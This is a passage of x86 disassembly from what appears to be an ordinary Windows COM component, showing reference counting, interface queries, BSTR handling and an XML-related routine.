loc_69B5DC3E:				; CODE XREF: sub_69B5DAE5+155j
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B5DC47:				; CODE XREF: sub_69B5DAE5+117j
					; sub_69B5DAE5+131j
		test	bl, bl
		jz	short loc_69B5DC76
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_40]
		push	edx
		push	1
		push	[ebp+var_20]
		push	eax
		call	dword ptr [ecx+20h]
		mov	edi, eax
		cmp	edi, esi
		jl	short loc_69B5DC76
		cmp	[ebp+var_40], 1
		lea	eax, [ebp+var_40]
		push	eax		; pvarg
		setz	[ebp+var_1]
		call	VariantClear


loc_69B5DC76:				; CODE XREF: sub_69B5DAE5+164j
					; sub_69B5DAE5+17Cj
		push	[ebp+var_8]	; BSTR
		call	SysFreeString


loc_69B5DC7F:				; CODE XREF: sub_69B5DAE5+E4j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_69B5DACB
		cmp	[ebp+var_1], 0
		jnz	short loc_69B5DC9C
		inc	[ebp+var_28]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_69B5DACB
		xor	bl, bl


loc_69B5DC9C:				; CODE XREF: sub_69B5DAE5+C3j
					; sub_69B5DAE5+CEj ...
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+var_1C]
		jl	loc_69B5DB69


loc_69B5DCA8:				; CODE XREF: sub_69B5DAE5+5Aj
					; sub_69B5DAE5+7Cj ...
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_69B5DACB
		push	[ebp+var_20]	; BSTR
		call	SysFreeString
		mov	eax, [ebp+var_C]
		jmp	short loc_69B5DCC1
; ---------------------------------------------------------------------------


loc_69B5DCBF:				; CODE XREF: sub_69B5DAE5+26j
					; sub_69B5DAE5+3Bj ...
		xor	eax, eax


loc_69B5DCC1:				; CODE XREF: sub_69B5DAE5+1D8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B5DAE5	endp

; ---------------------------------------------------------------------------
		align 4
aTextXml:				; DATA XREF: sub_69B5DAE5+142o
		unicode	0, <text/XML>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5DCDA	proc near		; CODE XREF: sub_69B5E40C+5Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	ebx, ebx
		push	esi
		push	offset stru_69B25E34
		mov	edi, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		mov	[esi], ebx
		call	sub_69B3D099
		cmp	eax, ebx
		jl	short loc_69B5DD6B
		mov	eax, [esi]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B0C0
		push	eax
		call	dword ptr [ecx]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B5DD51
		mov	eax, [ebp+var_4]
		push	dword ptr [edi+10h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	eax, [esi]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_69B2B110
		push	eax
		call	dword ptr [ecx]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B5DD51
		mov	edi, [edi+20h]
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	edi
		push	edi
		push	offset stru_69B1CA6C
		push	eax
		call	dword ptr [ecx+10h]
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_69B5DD57


loc_69B5DD51:				; CODE XREF: sub_69B5DCDA+3Aj
					; sub_69B5DCDA+5Cj
		push	esi
		call	sub_69B5DACB


loc_69B5DD57:				; CODE XREF: sub_69B5DCDA+75j
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B5DACB
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B5DACB
		mov	eax, ebx


loc_69B5DD6B:				; CODE XREF: sub_69B5DCDA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B5DCDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5DD72	proc near		; CODE XREF: sub_69B5E0A0+5j
					; .text:69B5E0B9j
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_69B5DDFB
		push	edi
		mov	edi, [ebp+arg_4]
		push	offset stru_69B1CA6C
		push	edi
		mov	[esi], ebx
		call	sub_69B5DA9B
		test	eax, eax
		jz	short loc_69B5DD9C


loc_69B5DD95:				; CODE XREF: sub_69B5DD72+37j
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		jmp	short loc_69B5DDEA
; ---------------------------------------------------------------------------


loc_69B5DD9C:				; CODE XREF: sub_69B5DD72+21j
		push	offset stru_69B2B130
		push	edi
		call	sub_69B5DA9B
		test	eax, eax
		jnz	short loc_69B5DD95
		push	offset dword_69B2B120
		push	edi
		call	sub_69B5DA9B
		test	eax, eax
		jz	short loc_69B5DDCC
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		add	eax, 4


loc_69B5DDC2:				; CODE XREF: sub_69B5DD72+71j
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[esi], ecx
		jmp	short loc_69B5DDEA
; ---------------------------------------------------------------------------


loc_69B5DDCC:				; CODE XREF: sub_69B5DD72+46j
		push	offset dword_69B2B110
		push	edi
		call	sub_69B5DA9B
		test	eax, eax
		jz	short loc_69B5DDE5
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		add	eax, 8
		jmp	short loc_69B5DDC2
; ---------------------------------------------------------------------------


loc_69B5DDE5:				; CODE XREF: sub_69B5DD72+67j
		mov	ebx, 80004002h


loc_69B5DDEA:				; CODE XREF: sub_69B5DD72+28j
					; sub_69B5DD72+58j
		mov	esi, [esi]
		test	esi, esi
		pop	edi
		jz	short loc_69B5DDF7
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]


loc_69B5DDF7:				; CODE XREF: sub_69B5DD72+7Dj
		mov	eax, ebx
		jmp	short loc_69B5DE00
; ---------------------------------------------------------------------------


loc_69B5DDFB:				; CODE XREF: sub_69B5DD72+Cj
		mov	eax, 80004003h


loc_69B5DE00:				; CODE XREF: sub_69B5DD72+87j
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B5DD72	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5DE06	proc near		; CODE XREF: sub_69B5E0AA+5j
					; .text:69B5E0C3j
					; DATA XREF: ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		add	esi, 0Ch
		push	esi		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	eax, [esi]
		pop	esi
		retn	4
sub_69B5DE06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5DE1B	proc near		; DATA XREF: .text:69B291CCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_8]
		and	dword ptr [esi], 0
		push	edi
		mov	edi, [ebp+arg_C]
		and	dword ptr [edi], 0
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_4]
		add	eax, 0FFFFFFF8h
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B5DE59
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		push	0Fh
		pop	eax
		mov	[edi], eax
		mov	[esi], eax
		xor	eax, eax


loc_69B5DE59:				; CODE XREF: sub_69B5DE1B+2Aj
		pop	edi
		pop	esi
		leave
		retn	10h
sub_69B5DE1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5DE5F	proc near		; DATA XREF: .text:69B291D0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_4]
		lea	eax, [esi-8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B5DEAC
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		test	[ebp+arg_8], 0FFFFFFF0h
		jnz	short loc_69B5DEA7
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]
		and	ecx, 0Fh
		and	eax, ecx
		cmp	eax, [ebp+arg_8]
		jnz	short loc_69B5DEA7
		xor	eax, eax
		mov	[esi+18h], ecx
		jmp	short loc_69B5DEAC
; ---------------------------------------------------------------------------


loc_69B5DEA7:				; CODE XREF: sub_69B5DE5F+2Fj
					; sub_69B5DE5F+3Fj
		mov	eax, 80004005h


loc_69B5DEAC:				; CODE XREF: sub_69B5DE5F+1Dj
					; sub_69B5DE5F+46j
		pop	esi
		leave
		retn	10h
sub_69B5DE5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5DEB1	proc near		; DATA XREF: .text:69B291FCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jz	short loc_69B5DED8
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [esp+4+arg_0]
		cmp	byte ptr [eax+1Ch], 0
		mov	[eax+10h], esi
		jz	short loc_69B5DED8
		mov	dword ptr [eax+18h], 5
		mov	byte ptr [eax+1Ch], 0


loc_69B5DED8:				; CODE XREF: sub_69B5DEB1+7j
					; sub_69B5DEB1+1Aj
		xor	eax, eax
		pop	esi
		retn	8
sub_69B5DEB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5DEDE	proc near		; DATA XREF: .text:69B29200o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jz	short loc_69B5DF07
		mov	eax, [esp+arg_0]
		and	dword ptr [ecx], 0
		cmp	dword ptr [eax+10h], 0
		jz	short loc_69B5DF02
		mov	eax, [eax+10h]
		mov	edx, [eax]
		push	ecx
		push	[esp+4+arg_4]
		push	eax
		call	dword ptr [edx]
		jmp	short locret_69B5DF0C
; ---------------------------------------------------------------------------


loc_69B5DF02:				; CODE XREF: sub_69B5DEDE+13j
		xor	eax, eax
		inc	eax
		jmp	short locret_69B5DF0C
; ---------------------------------------------------------------------------


loc_69B5DF07:				; CODE XREF: sub_69B5DEDE+6j
		mov	eax, 80004003h

locret_69B5DF0C:			; CODE XREF: sub_69B5DEDE+22j
					; sub_69B5DEDE+27j
		retn	0Ch
sub_69B5DEDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5DF0F	proc near		; DATA XREF: .text:69B29204o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		mov	[eax+18h], ecx
		xor	eax, eax
		retn	8
sub_69B5DF0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5DF1F	proc near		; DATA XREF: .text:69B29208o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		mov	eax, 80004003h
		jz	short locret_69B5DF37
		mov	eax, [esp+arg_0]
		mov	eax, [eax+18h]
		mov	[ecx], eax
		xor	eax, eax

locret_69B5DF37:			; CODE XREF: sub_69B5DF1F+Bj
		retn	8
sub_69B5DF1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5DF3A	proc near		; DATA XREF: .text:69B2920Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword ptr [eax+18h], 4
		xor	eax, eax
		retn	4
sub_69B5DF3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5DF4A	proc far		; DATA XREF: .text:69B29210o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+10h]
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	1
		push	[ebp+arg_0]
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_C], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		mov	esi, eax
		cmp	esi, edi
		jl	short loc_69B5DFB5
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset loc_69B5DFD0
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		cmp	esi, edi
		jl	short loc_69B5DFB5
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+0D0h]
		mov	esi, eax
		cmp	esi, edi
		jl	short loc_69B5DFB5
		lea	edi, [ebx+14h]
		push	edi
		call	sub_69B5DACB
		mov	eax, [ebp+var_C]
		mov	[edi], eax


loc_69B5DFB5:				; CODE XREF: sub_69B5DF4A+2Ej
					; sub_69B5DF4A+45j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B5DACB
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B5DACB
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B5DFD0:				; DATA XREF: sub_69B5DF4A+39o
		daa
		inc	esp
		sub	al, 33h
		retf
sub_69B5DF4A	endp

; ---------------------------------------------------------------------------
		db 26h,	0D0h, 11h
		dd 0C00083B4h, 1901D94Fh

; =============== S U B	R O U T	I N E =======================================



sub_69B5DFE0	proc near		; DATA XREF: .text:69B29218o

arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short loc_69B5DFF0
		and	dword ptr [eax], 0
		xor	eax, eax
		inc	eax
		jmp	short locret_69B5DFF5
; ---------------------------------------------------------------------------


loc_69B5DFF0:				; CODE XREF: sub_69B5DFE0+6j
		mov	eax, 80004003h

locret_69B5DFF5:			; CODE XREF: sub_69B5DFE0+Ej
		retn	0Ch
sub_69B5DFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5DFF8	proc near		; DATA XREF: .text:69B291E0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	byte ptr [eax+18h], 1
		xor	eax, eax
		retn	4
sub_69B5DFF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E005	proc near		; DATA XREF: .text:69B12B24o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jz	short loc_69B5E02D
		push	edi
		push	8
		pop	ecx
		xor	eax, eax
		mov	edi, esi
		rep stosd
		mov	eax, [esp+8+arg_0]
		push	dword ptr [eax+18h] ; OLECHAR *
		call	SysAllocString
		mov	[esi+8], eax
		xor	eax, eax
		pop	edi
		jmp	short loc_69B5E032
; ---------------------------------------------------------------------------


loc_69B5E02D:				; CODE XREF: sub_69B5E005+7j
		mov	eax, 80004003h


loc_69B5E032:				; CODE XREF: sub_69B5E005+26j
		pop	esi
		retn	8
sub_69B5E005	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E036	proc near		; DATA XREF: .text:69B12B28o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		test	eax, eax
		jz	short loc_69B5E04E
		mov	edx, [esp+arg_8]
		test	edx, edx
		jz	short loc_69B5E04E
		mov	ecx, [esp+arg_C]
		test	ecx, ecx
		jnz	short loc_69B5E055


loc_69B5E04E:				; CODE XREF: sub_69B5E036+6j
					; sub_69B5E036+Ej
		mov	eax, 80004003h
		jmp	short locret_69B5E06A
; ---------------------------------------------------------------------------


loc_69B5E055:				; CODE XREF: sub_69B5E036+16j
		and	dword ptr [eax], 0
		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax+10h]
		mov	[edx], esi
		mov	eax, [eax+14h]
		mov	[ecx], eax
		xor	eax, eax
		pop	esi

locret_69B5E06A:			; CODE XREF: sub_69B5E036+1Dj
		retn	10h
sub_69B5E036	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E06D	proc near		; CODE XREF: sub_69B5E266+1Ap
					; sub_69B5E2ED+31p
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+24h]
		mov	dword ptr [esi], offset	off_69B291F0
		mov	dword ptr [esi+4], offset off_69B291D4
		mov	dword ptr [esi+8], offset off_69B291C0
		call	sub_69B1B2B7
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B5DACB
		add	esi, 10h
		push	esi
		call	sub_69B5DACB
		pop	esi
		retn
sub_69B5E06D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E0A0	proc near		; DATA XREF: .text:off_69B291D4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B5DD72
sub_69B5E0A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E0AA	proc near		; DATA XREF: .text:69B291D8o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B5DE06
sub_69B5E0AA	endp

; ---------------------------------------------------------------------------


loc_69B5E0B4:				; DATA XREF: .text:off_69B291C0o
		sub	dword ptr [esp+4], 8
		jmp	sub_69B5DD72
; ---------------------------------------------------------------------------


loc_69B5E0BE:				; DATA XREF: .text:69B291C4o
		sub	dword ptr [esp+4], 8
		jmp	sub_69B5DE06

; =============== S U B	R O U T	I N E =======================================



sub_69B5E0C8	proc near		; CODE XREF: sub_69B5E1BC+1Dp
		push	34h
		push	offset dword_69B5E1B0
		call	sub_69B19C5C
		mov	edi, ecx
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		lea	edx, [ebp-20h]
		push	edx
		push	offset loc_69B2B070
		push	eax
		call	dword ptr [ecx]
		mov	[ebp-24h], eax
		cmp	eax, ebx
		jl	loc_69B5E1A2
		mov	eax, [ebp-20h]
		mov	ecx, [eax]
		lea	edx, [ebp-1Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		mov	[ebp-24h], eax
		mov	eax, [ebp-20h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		cmp	[ebp-24h], ebx
		jl	loc_69B5E1A2
		cmp	[ebp-1Ch], ebx
		jz	short loc_69B5E192
		mov	[ebp-4], ebx
		push	dword ptr [edi+14h]
		call	sub_69B8903E
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, ebx
		jz	short loc_69B5E177
		lea	ecx, [ebp-3Ch]
		call	sub_69B3A66D
		mov	esi, [esi+0Ch]
		mov	[ebp-40h], esi
		push	esi		; int
		push	dword ptr [ebp-1Ch] ; lpString
		lea	ecx, [ebp-3Ch]
		call	sub_69B3A709
		mov	[ebp-24h], eax
		cmp	eax, ebx
		jl	short loc_69B5E16D
		mov	eax, [ebp-34h]
		mov	[ebp-44h], eax
		push	eax		; lpString
		call	sub_69B8AADD
		mov	[edi+24h], eax
		cmp	eax, ebx
		jnz	short loc_69B5E16D
		mov	dword ptr [ebp-24h], 8007000Eh


loc_69B5E16D:				; CODE XREF: sub_69B5E0C8+89j
					; sub_69B5E0C8+9Cj
		lea	ecx, [ebp-3Ch]
		call	sub_69B3A8F3
		jmp	short loc_69B5E17E
; ---------------------------------------------------------------------------


loc_69B5E177:				; CODE XREF: sub_69B5E0C8+68j
		mov	dword ptr [ebp-24h], 80004005h


loc_69B5E17E:				; CODE XREF: sub_69B5E0C8+ADj
					; sub_69B5E0C8+C8j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B5E199
; ---------------------------------------------------------------------------


loc_69B5E184:				; DATA XREF: .text:69B5E1B4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5E18D:				; DATA XREF: .text:69B5E1B8o
		mov	esp, [ebp-18h]
		jmp	short loc_69B5E17E
; ---------------------------------------------------------------------------


loc_69B5E192:				; CODE XREF: sub_69B5E0C8+54j
		mov	dword ptr [ebp-24h], 1


loc_69B5E199:				; CODE XREF: sub_69B5E0C8+BAj
		push	dword ptr [ebp-1Ch] ; BSTR
		call	SysFreeString


loc_69B5E1A2:				; CODE XREF: sub_69B5E0C8+29j
					; sub_69B5E0C8+4Bj
		mov	eax, [ebp-24h]
		call	sub_69B1853C
		retn	4
sub_69B5E0C8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B5E1B0	dd 0FFFFFFFFh			dd offset loc_69B5E184
		dd offset loc_69B5E18D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5E1BC	proc near		; CODE XREF: sub_69B5E40C+BCp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		mov	esi, ecx
		mov	[ebp+var_4], edi
		jnz	short loc_69B5E1D3
		xor	eax, eax
		inc	eax
		jmp	short loc_69B5E222
; ---------------------------------------------------------------------------


loc_69B5E1D3:				; CODE XREF: sub_69B5E1BC+10j
		push	ebx
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B5E0C8
		xor	ebx, ebx
		test	eax, eax
		setnl	bl
		cmp	[esi+24h], edi
		jz	short loc_69B5E21F
		cmp	[esi+20h], edi
		jz	short loc_69B5E21F
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+0A0h]
		test	eax, eax
		jl	short loc_69B5E216
		push	edi		; int
		push	[ebp+var_4]	; int
		push	dword ptr [esi+24h] ; lpszUrl
		call	sub_69B39C17
		xor	ebx, ebx
		test	eax, eax
		setnl	bl


loc_69B5E216:				; CODE XREF: sub_69B5E1BC+45j
		push	[ebp+var_4]	; BSTR
		call	SysFreeString


loc_69B5E21F:				; CODE XREF: sub_69B5E1BC+2Cj
					; sub_69B5E1BC+31j
		mov	eax, ebx
		pop	ebx


loc_69B5E222:				; CODE XREF: sub_69B5E1BC+15j
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B5E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E228	proc near		; CODE XREF: sub_69B5E2ED+1Ap

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, ecx
		xor	ecx, ecx
		cmp	edx, ecx
		mov	dword ptr [eax], offset	off_69B291F0
		mov	dword ptr [eax+4], offset off_69B291D4
		mov	dword ptr [eax+8], offset off_69B291C0
		mov	[eax+24h], ecx
		mov	dword ptr [eax+0Ch], 1
		mov	[eax+10h], ecx
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	[eax+1Ch], cl
		mov	[eax+20h], ecx
		jz	short locret_69B5E263
		mov	[edx], ecx

locret_69B5E263:			; CODE XREF: sub_69B5E228+37j
		retn	4
sub_69B5E228	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E266	proc near		; CODE XREF: sub_69B5E2DC+5j
					; .text:69B5E2E8j
					; DATA XREF: ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	esi, [edi+0Ch]
		push	esi		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_69B5E28F
		test	edi, edi
		jz	short loc_69B5E28B
		mov	ecx, edi
		call	sub_69B5E06D
		push	edi
		call	sub_69B1B2B7


loc_69B5E28B:				; CODE XREF: sub_69B5E266+16j
		xor	eax, eax
		jmp	short loc_69B5E291
; ---------------------------------------------------------------------------


loc_69B5E28F:				; CODE XREF: sub_69B5E266+12j
		mov	eax, [esi]


loc_69B5E291:				; CODE XREF: sub_69B5E266+27j
		pop	edi
		pop	esi
		retn	4
sub_69B5E266	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E296	proc near		; CODE XREF: sub_69B5E365+3p
		push	dword ptr [ecx+14h]
		mov	dword ptr [ecx-4], offset off_69B12B18
		mov	dword ptr [ecx], offset	off_69B29230
		call	sub_69B1B2B7
		jmp	sub_69B2C65C
sub_69B5E296	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E2B0	proc near		; CODE XREF: sub_69B5E330+3p
		push	esi
		mov	esi, ecx
		push	offset dword_69B5E2CC
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B5E2B0	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B5E2CC	dd 0EAE1BA61h, 11CFA4EDh, 8000208Fh, 64D02C5Fh
; =============== S U B	R O U T	I N E =======================================



sub_69B5E2DC	proc near		; DATA XREF: .text:69B291DCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	short sub_69B5E266
sub_69B5E2DC	endp

; ---------------------------------------------------------------------------


loc_69B5E2E3:				; DATA XREF: .text:69B291C8o
		sub	dword ptr [esp+4], 8
		jmp	sub_69B5E266

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5E2ED	proc near		; CODE XREF: sub_69B3CF5C+1Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	28h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B5E310
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, eax
		call	sub_69B5E228
		mov	esi, eax
		jmp	short loc_69B5E312
; ---------------------------------------------------------------------------


loc_69B5E310:				; CODE XREF: sub_69B5E2ED+12j
		xor	esi, esi


loc_69B5E312:				; CODE XREF: sub_69B5E2ED+21j
		cmp	[ebp+var_4], 0
		jge	short loc_69B5E32B
		test	esi, esi
		jz	short loc_69B5E329
		mov	ecx, esi
		call	sub_69B5E06D
		push	esi
		call	sub_69B1B2B7


loc_69B5E329:				; CODE XREF: sub_69B5E2ED+2Dj
		xor	esi, esi


loc_69B5E32B:				; CODE XREF: sub_69B5E2ED+29j
		mov	eax, esi
		pop	esi
		leave
		retn
sub_69B5E2ED	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B5E330(int, int, LPCWSTR lpString)

sub_69B5E330	proc near		; CODE XREF: sub_69B5E384+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
lpString	= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		call	sub_69B5E2B0
		mov	eax, [esp+4+arg_0]
		push	[esp+4+lpString] ; lpString
		mov	[esi+10h], eax
		mov	eax, [esp+8+arg_4]
		mov	dword ptr [esi], offset	off_69B12B18
		mov	dword ptr [esi+4], offset off_69B29230
		mov	[esi+14h], eax
		call	sub_69B8AADD
		mov	[esi+18h], eax
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B5E330	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E365	proc near		; DATA XREF: .text:off_69B29230o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B5E296
		test	[esp+4+arg_0], 1
		jz	short loc_69B5E37D
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B5E37D:				; CODE XREF: sub_69B5E365+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B5E365	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B5E384(int, int, LPCWSTR lpString)

sub_69B5E384	proc near		; CODE XREF: sub_69B5E3D0+28p
					; sub_69B5E40C+1A1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
lpString	= dword	ptr  0Ch

		push	esi
		push	edi
		push	1Ch
		mov	edi, ecx
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B5E3AA
		push	[esp+8+lpString] ; lpString
		mov	ecx, eax
		push	[esp+0Ch+arg_4]	; int
		push	[esp+10h+arg_0]	; int
		call	sub_69B5E330
		mov	esi, eax
		jmp	short loc_69B5E3AC
; ---------------------------------------------------------------------------


loc_69B5E3AA:				; CODE XREF: sub_69B5E384+Dj
		xor	esi, esi


loc_69B5E3AC:				; CODE XREF: sub_69B5E384+24j
		test	esi, esi
		jz	short loc_69B5E3C4
		mov	eax, [edi+10h]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+20h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_69B5E3C9
; ---------------------------------------------------------------------------


loc_69B5E3C4:				; CODE XREF: sub_69B5E384+2Aj
		mov	edi, 8007000Eh


loc_69B5E3C9:				; CODE XREF: sub_69B5E384+3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		retn	0Ch
